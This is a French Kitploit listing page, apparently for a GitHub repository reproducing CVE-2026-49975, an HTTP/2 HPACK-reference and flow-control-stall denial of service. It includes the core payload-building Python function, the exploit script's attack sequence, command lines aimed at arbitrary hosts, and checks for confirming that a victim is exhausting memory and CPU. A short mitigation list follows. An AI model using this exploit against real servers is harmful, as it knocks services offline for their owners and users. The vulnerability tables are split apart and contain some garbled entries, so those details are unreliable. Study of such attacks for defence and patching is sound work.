Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-49975-http2bomb_reproduction | Kitploit
Outils/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
Analyse des VulnérabilitésExploitationSécurité WebSécurité RéseauArticles et RechercheApprentissage et Éducation
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
11il y a 1 moisPas encore vérifié

CVE-2026-49975 (Bombe HTTP/2) Guide complet de reproduction

Basé sur l'avis CERT de QiAnXin + Recherche originale de Calif

================================================================

I. Présentation de la vulnérabilité

CVE-2026-49975 est une vulnérabilité critique de déni de service (DoS) dans les implémentations de serveurs et de proxys HTTP/2. L'attaque, surnommée « Bombe HTTP/2 » ou « Bombe HPACK », exploite deux comportements au niveau de la conception du protocole HTTP/2 pour forcer une cible à consommer une quantité illimitée de mémoire (OOM) et à épuiser son CPU :

  1. Explosion des références indexées HPACK – une petite trame HEADERS qui référence logiquement la même entrée de cookie des milliers de fois via des références indexées HPACK. Lors du décodage, le décodeur HPACK du pair peut allouer de la mémoire proportionnellement au nombre de références, et non à la taille sur le fil.
  2. Blocage de la fenêtre de contrôle de flux – combiné à une fenêtre initiale de zéro, l'émetteur met en file d'attente les données HEADERS mais le récepteur refuse de lire jusqu'à ce que des mises à jour de fenêtre arrivent ; les tampons se remplissent et la pression mémoire augmente.

Score de base CVSS 3.1 : 9.8 (Critique)
Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Principe de l'attaque (combinaison en deux étapes)

L'attaque est plus efficace lorsque les deux étapes se complètent, mais chaque étape prise isolément suffit contre certaines implémentations.

Étape 1 : bombe à références indexées HPACK

La compression des en-têtes HPACK de HTTP/2 utilise une table dynamique évolutive. Une fois qu'un grand en-tête cookie est inséré dans la table (via l'encodage littéral+incrémental), un attaquant peut référencer cette entrée avec un opcode d'un octet. Des références répétées amènent le décodeur à reconstruire le même en-tête encore et encore.

root@kitploit:~
Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Un paquet de 5 Ko peut se dilater en centaines de mégaoctets de charge utile décodée.

Étape 2 : blocage de fenêtre HTTP/2

La configuration SETTINGS avec INITIAL_WINDOW_SIZE=0 force la victime à mettre en file d'attente toutes les données HEADERS/continuation. L'attaquant émet lentement des trames WINDOW_UPDATE. Les tampons restent combinatoirement pleins.

Mécanismefacteur d'amplification
corps HEADERS brut1x
explosion de références HPACK20–80x
+ flux simultanés100–500x
+ blocage de fenêtre1000x+

III. Serveurs concernés

Consultez l'entrée CVE de votre fournisseur pour connaître les limites exactes.

IV. Configuration de l'environnement

root@kitploit:~
# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Victime rapide avec Docker :

root@kitploit:~
docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Code d'exploitation

Le script compagnon est exploit.py.

La routine principale :

root@kitploit:~
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

Le script effectue :

  • Connexion TLS à hôte:port
  • Préface PRI HTTP/2 + SETTINGS avec window=0
  • envoie la bombe HPACK sous forme de HEADERS
  • envoie éventuellement un filet lent de WINDOW_UPDATE
  • mesure la dégradation du RTT via des trames PING

VI. Utilisation

root@kitploit:~
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Vérifier l'efficacité de l'attaque

Surveillez les ressources de la victime :

root@kitploit:~
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Signes indiquant que l'attaque fonctionne :

  • la RSS de la victime dépasse 500 Mo
  • le CPU monte à 100 %
  • les latences PING dépassent 1 seconde
  • les connexions expirent

VIII. Atténuation

Approcheparamètre
Limiter les en-têtes par flux

IX. Avertissement

Ces informations sont uniquement destinées à des tests de sécurité pédagogiques et autorisés. N'utilisez ceci que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de test.

Références

  • CVE-2026-49975 Mitre
  • Avis CERT QiAnXin (bulletin original en mandarin / anglais)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
Télécharger l’outil
Fournisseur / ProjetVersiondescription
Apache mod_http2< 2.0.13OOM lors de l'explosion des références indexées
nghttp2< 1.62.0gonflement mémoire illimité
h2o< 4.0.2boucle infinie dans le décodeur
Node.js http2 crate< 1.12.0expansion intrinsèque dans nghttp2-rs
Go net/http (h2)< 1.24blocage de goroutine + allocation OSL
Apache Traffic Server< 9.3.0OOM via tampon interne
HAProxy h2< 2.9crash sur AVP surdimensionné
Envoy< 1.30allocation massive dans le contrôle de flux
Rust hyper/h2 crate< 5.14panique sur débordement SK
MaxHeaderCount 500
Rejeter la faible compressionseuil de ratio < 5
Borner la croissance HPACKlimiter la table dynamique à 1 Ko
Mémoire par connexionrejeter après N Mo
limitation de débitgénérique conn/s, req/s